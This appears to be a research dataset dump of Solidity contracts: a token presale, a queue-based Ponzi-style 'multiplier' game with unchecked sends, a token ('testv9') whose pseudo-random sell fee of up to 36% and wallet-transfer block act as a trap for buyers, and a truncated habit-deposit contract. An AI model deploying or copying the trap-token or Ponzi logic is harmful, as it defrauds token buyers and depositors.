hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9b9c078afc9146de0803f7f9de63f322d2c8a8815631d07c15465553bde5d7b1
| 12,547 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/d2/d284f5ae0471a0e2eb8047673abb35ae5fd671a4_PreSale.sol
| 2,855 | 10,004 |
// SPDX-License-Identifier: WTFPL
pragma solidity 0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(this), account_, amount_);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal { }
}
contract PreSale is ERC20 {
using SafeMath for uint256;
IERC20Metadata public MIM;
uint private _totalRaised = 0;
address public owner = msg.sender;
mapping(address => uint) public caps;
uint256 public TOKEN_AMOUNT = 1;
uint256 public MIM_AMOUNT = 50;
uint256 public RATE = TOKEN_AMOUNT.mul(10**4).div(MIM_AMOUNT);
uint256 public MAX_CAP_PERSON_WHITELIST = 2000*10**18;
uint256 public MAX_CAP_PERSON_OTHER = 1000*10**18;
uint256 public MAX_SUPPLY = 350*1000*10**18;
uint256 public SALE_START = 1639332000;
uint256 public PRESALE_START = SALE_START + 3600 * 24;
mapping(address => bool) public _whitelists;
function _addWhitelist(address[] memory _whitelist) external {
require(owner == msg.sender, "You are not owner");
for (uint256 i = 0; i < _whitelist.length; i++) {
_whitelists[_whitelist[i]] = true;
}
}
constructor() ERC20("Claimable COCA", "cCOCA", 18) {
MIM = IERC20Metadata(0x130966628846BFd36ff31a822705796e8cb8C18D);
}
function getTokenToMint(uint mimAmount) view internal returns (uint amount) {
return mimAmount.mul(RATE).div(10**4);
}
function totalRaised() public view returns(uint amount) {
return _totalRaised;
}
function presale(uint256 mimAmount) external {
require(block.timestamp >= SALE_START, "presale has not started");
require(block.timestamp >= PRESALE_START || _whitelists[msg.sender], "public sale has not started");
if(_whitelists[msg.sender]) {
require(caps[msg.sender] + mimAmount <= MAX_CAP_PERSON_WHITELIST, "MIM Amount exceed");
} else {
require(caps[msg.sender] + mimAmount <= MAX_CAP_PERSON_OTHER, "MIM Amount exceed");
}
_totalRaised = _totalRaised + mimAmount;
require(_totalRaised <= MAX_SUPPLY, "PreSale closed due to cap");
MIM.transferFrom(msg.sender, address(this), mimAmount);
caps[msg.sender] = caps[msg.sender] + mimAmount;
_mint(msg.sender, getTokenToMint(mimAmount));
}
function withdrawMIM(uint256 amount) external {
require(msg.sender == owner, "Ownable: caller is not the owner");
MIM.transfer(owner, amount);
}
}
| 93,049 | 500 |
2e76fcfe4ae52f79c0b7f698c877444bc97bb058577c62c103ddd4bdfd74228a
| 13,687 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x035c5dada99b02a0fbe7bb83012d1edf536f95e5.sol
| 2,761 | 10,779 |
pragma solidity ^0.4.25;
contract FastGameMultiplier {
//
address public support;
//
uint constant public PRIZE_PERCENT = 3;
uint constant public SUPPORT_PERCENT = 2;
//
uint constant public MAX_INVESTMENT = 0.2 ether;
uint constant public MIN_INVESTMENT = 0.01 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.02 ether;
uint constant public GAS_PRICE_MAX = 20; // maximum gas price for contribution transactions
uint constant public MAX_IDLE_TIME = 10 minutes; // //Maximum time the deposit should remain the last to receive prize
// ,
uint constant public SIZE_TO_SAVE_INVEST = 10; //
uint constant public TIME_TO_SAVE_INVEST = 5 minutes; //
// , ()
uint8[] MULTIPLIERS = [
115, //
120, //
125 //
];
//
struct Deposit {
address depositor; //
uint128 deposit; //
uint128 expect; // (115%-125%)
}
//
struct DepositCount {
int128 stage;
uint128 count;
}
//
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue; //The queue
uint public currentReceiverIndex = 0; // The index of the first depositor in the queue. The receiver of investments!
uint public currentQueueSize = 0; // The current size of queue (may be less than queue.length)
LastDepositInfo public lastDepositInfoForPrize; // The time last deposit made at
LastDepositInfo public previosDepositInfoForPrize; // The time last deposit made at
uint public prizeAmount = 0; //
uint public prizeStageAmount = 0; // Prize amount accumulated for the last depositor
int public stage = 0; // Number of contract runs
uint128 public lastDepositTime = 0; //
mapping(address => DepositCount) public depositsMade; //The number of deposits of different depositors
constructor() public {
support = msg.sender;
proceedToNewStage(getCurrentStageByTime() + 1);
}
//This function receives all the deposits
//stores them and make immediate payouts
function () public payable {
require(tx.gasprice <= GAS_PRICE_MAX * 1000000000);
require(gasleft() >= 250000, "We require more gas!"); //
checkAndUpdateStage();
if(msg.value > 0){
require(msg.value >= MIN_INVESTMENT && msg.value <= MAX_INVESTMENT); //
require(lastDepositInfoForPrize.time <= now + MAX_IDLE_TIME);
require(getNextStageStartTime() >= now + MAX_IDLE_TIME + 10 minutes);// MAX_IDLE_TIME
//Pay to first investors in line
if(currentQueueSize < SIZE_TO_SAVE_INVEST){ //
addDeposit(msg.sender, msg.value);
} else {
addDeposit(msg.sender, msg.value);
pay();
}
} else if(msg.value == 0 && currentQueueSize > SIZE_TO_SAVE_INVEST){
withdrawPrize(); //
} else if(msg.value == 0){
require(currentQueueSize <= SIZE_TO_SAVE_INVEST); // , SIZE_TO_SAVE_INVEST
require(lastDepositTime > 0 && (now - lastDepositTime) >= TIME_TO_SAVE_INVEST); // TIME_TO_SAVE_INVEST
returnPays(); //
}
}
//Used to pay to current investors
function pay() private {
//Try to send all the money on contract to the first investors in line
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeStageAmount) //The opposite is impossible, however the check will not do any harm
money = uint128(balance - prizeStageAmount);
//Send small part to tech support
uint128 moneyS = uint128(money*SUPPORT_PERCENT/100);
support.send(moneyS);
money -= moneyS;
//We will do cycle on the queue
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i]; //get the info of the first investor
if(money >= dep.expect){ //If we have enough money on the contract to fully pay to investor
dep.depositor.send(dep.expect);
money -= dep.expect;
// + this investor is fully paid, so remove him
delete queue[i];
}else{
//Here we don't have enough money so partially pay to investor
dep.depositor.send(money); //Send to him everything we have
money -= dep.expect; //update money left
break; //Exit cycle
}
if(gasleft() <= 50000) //Check the gas left. If it is low, exit the cycle
break; //The next investor will process the line further
}
currentReceiverIndex = i; //Update the index of the current first investor
}
function returnPays() private {
//Try to send all the money on contract to the first investors in line
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount) //The opposite is impossible, however the check will not do any harm
money = uint128(balance - prizeAmount);
//We will do cycle on the queue
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i]; //get the info of the first investor
dep.depositor.send(dep.deposit); // ,
money -= dep.deposit;
// + this investor is fully paid, so remove him
delete queue[i];
}
prizeStageAmount = 0; // , .
proceedToNewStage(getCurrentStageByTime() + 1);
}
function addDeposit(address depositor, uint value) private {
//Count the number of the deposit at this stage
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
// MIN_INVESTMENT_FOR_PRIZE
if(value >= MIN_INVESTMENT_FOR_PRIZE){
previosDepositInfoForPrize = lastDepositInfoForPrize;
lastDepositInfoForPrize = LastDepositInfo(uint128(currentQueueSize), uint128(now));
}
//Compute the multiplier percent for this depositor
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
//Increment number of deposits the depositors made this round
c.count++;
lastDepositTime = uint128(now);
//Save money for prize
prizeStageAmount += value*PRIZE_PERCENT/100;
}
function checkAndUpdateStage() private {
int _stage = getCurrentStageByTime();
require(_stage >= stage); //
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
//
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
lastDepositTime = 0;
prizeAmount += prizeStageAmount;
prizeStageAmount = 0;
delete queue;
delete previosDepositInfoForPrize;
delete lastDepositInfoForPrize;
}
//
function withdrawPrize() private {
//You can withdraw prize only if the last deposit was more than MAX_IDLE_TIME ago
require(lastDepositInfoForPrize.time > 0 && lastDepositInfoForPrize.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
//Last depositor will receive prize only if it has not been fully paid
require(currentReceiverIndex <= lastDepositInfoForPrize.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
//Send donation to the first multiplier for it to spin faster
//It already contains all the sum, so we must split for father and last depositor only
//If the .call fails then ether will just stay on the contract to be distributed to
//the queue at the next stage
uint prize = balance;
if(previosDepositInfoForPrize.index > 0){
uint prizePrevios = prize*10/100;
queue[previosDepositInfoForPrize.index].depositor.transfer(prizePrevios);
prize -= prizePrevios;
}
queue[lastDepositInfoForPrize.index].depositor.send(prize);
proceedToNewStage(getCurrentStageByTime() + 1);
}
//
function push(address depositor, uint deposit, uint expect) private {
//Add the investor into the queue
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length); //Assert queue size is not corrupted
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
//
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
//
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
//
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
//
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
//
function getCurrentStageByTime() public view returns (int) {
return int(now - 17848 * 86400 - 16 * 3600 - 30 * 60) / (24 * 60 * 60);
}
//
function getNextStageStartTime() public view returns (uint) {
return 17848 * 86400 + 16 * 3600 + 30 * 60 + uint((getCurrentStageByTime() + 1) * 24 * 60 * 60); // 19:30
}
//
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfoForPrize.index && lastDepositInfoForPrize.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfoForPrize.index];
addr = d.depositor;
timeLeft = int(lastDepositInfoForPrize.time + MAX_IDLE_TIME) - int(now);
}
}
}
| 209,553 | 501 |
a428d3916101511ff8f40c3be08311c356e4e6108256ee9190e2a90d1af44c13
| 13,998 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ea/ea0151185fccffbb9a240fd43246e6a888de7907_testv9.sol
| 3,550 | 13,374 |
// test
pragma solidity ^0.8.1;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function getAmountsIn(uint256 amountOut,
address[] memory path) external view returns (uint256[] memory amounts);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityAVAX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract BEP20Interface {
function balanceOf(address whom) view public virtual returns (uint);
}
contract testv9 is IBEP20, Auth {
using SafeMath for uint256;
string constant _name = "AQUA";
string constant _symbol = "NUS";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x2D99ABD9008Dc933ff5c0CD271B88309593aB921;
uint256 _totalSupply = 100000000000 * (10 ** _decimals);
uint256 public _record = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public hasSold;
uint256 public liquidityFee = 0;
uint256 public marketingFee = 0;
uint256 public WorldLeaderFee = 0;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
uint256 public maxTx = _totalSupply * (10 ** _decimals);
uint256 public maxWallet = _totalSupply * (10 ** _decimals);
address public autoLiquidityReceiver;
address public marketingWallet;
address public WorldLeader;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 5 / 2000;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WAVAX(), address(this));
_allowances[address(this)][address(router)] = uint256(_totalSupply);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender; //LP receiver
marketingWallet = msg.sender; //marketing wallet
WorldLeader = msg.sender; //tax collector wallet
totalFee = 10;
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(_totalSupply));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(_totalSupply)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(sender != owner
&& recipient != owner
&& !isTxLimitExempt[recipient]
&& recipient != ZERO
&& recipient != DEAD
&& recipient != pair
&& recipient != address(this))
{
require(maxTx >= amount && maxWallet >= amount + _balances[recipient]);
}
totalFeeIfSelling = (uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender)))%7) ** 2;
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient) internal view returns (bool) {
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountAVAX = address(this).balance;
uint256 totalAVAXFee = totalFee.sub(liquidityFee.div(2));
uint256 amountAVAXMarketing = amountAVAX;
uint256 amountAVAXTaxMan = amountAVAX.mul(WorldLeaderFee).div(totalAVAXFee);
uint256 amountAVAXLiquidity = amountAVAX.mul(liquidityFee).div(totalAVAXFee).div(2);
(bool tmpSuccess,) = payable(marketingWallet).call{value: amountAVAXMarketing, gas: 30000}("");
(bool tmpSuccess2,) = payable(WorldLeader).call{value: amountAVAXTaxMan, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if(amountToLiquify > 0){
router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp);
emit AutoLiquify(amountAVAXLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountAVAX, uint256 amountBOG);
}
| 123,847 | 502 |
0c5b3e3fa804919cb598f1925adcb9a30c0bb5842a1ec993c3b5326c62b74d13
| 19,287 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Utilities/0xaEd4554111619D2998E4D32f3D2CE73d00673f27.sol
| 3,552 | 13,322 |
pragma solidity 0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
contract Habits {
using SafeMath for uint256;
using SafeMath32 for uint32;
// owner is only set on contract initialization, this cannot be changed
address internal owner;
mapping (address => bool) internal adminPermission;
uint256 constant REGISTRATION_FEE = 0.005 ether; // deposit for a single day
uint32 constant NUM_REGISTER_DAYS = 10; // default number of days for registration
uint32 constant NINETY_DAYS = 90 days;
uint32 constant WITHDRAW_BUFFER = 129600; // time before user can withdraw deposit
uint32 constant MAY_FIRST_2018 = 1525132800;
uint32 constant DAY = 86400;
enum UserEntryStatus {
NULL,
REGISTERED,
COMPLETED,
WITHDRAWN
}
struct DailyContestStatus {
uint256 numRegistered;
uint256 numCompleted;
bool operationFeeWithdrawn;
}
mapping (address => uint32[]) internal userToDates;
mapping (uint32 => address[]) internal dateToUsers;
mapping (address => mapping (uint32 => UserEntryStatus)) internal userDateToStatus;
mapping (uint32 => DailyContestStatus) internal dateToContestStatus;
event LogWithdraw(address user, uint256 amount);
event LogOperationFeeWithdraw(address user, uint256 amount);
function Habits() public {
owner = msg.sender;
adminPermission[owner] = true;
}
function register(uint32 _expectedStartDate) external payable {
// throw if sent ether doesn't match the total registration fee
require(REGISTRATION_FEE.mul(NUM_REGISTER_DAYS) == msg.value);
// can't register more than 100 days in advance
require(_expectedStartDate <= getDate(uint32(now)).add(NINETY_DAYS));
uint32 startDate = getStartDate();
// throw if actual start day doesn't match the user's expectation
// may happen if a transaction takes a while to get mined
require(startDate == _expectedStartDate);
for (uint32 i = 0; i < NUM_REGISTER_DAYS; i++) {
uint32 date = startDate.add(i.mul(DAY));
// double check that user already hasn't been registered
require(userDateToStatus[msg.sender][date] == UserEntryStatus.NULL);
userDateToStatus[msg.sender][date] = UserEntryStatus.REGISTERED;
userToDates[msg.sender].push(date);
dateToUsers[date].push(msg.sender);
dateToContestStatus[date].numRegistered += 1;
}
}
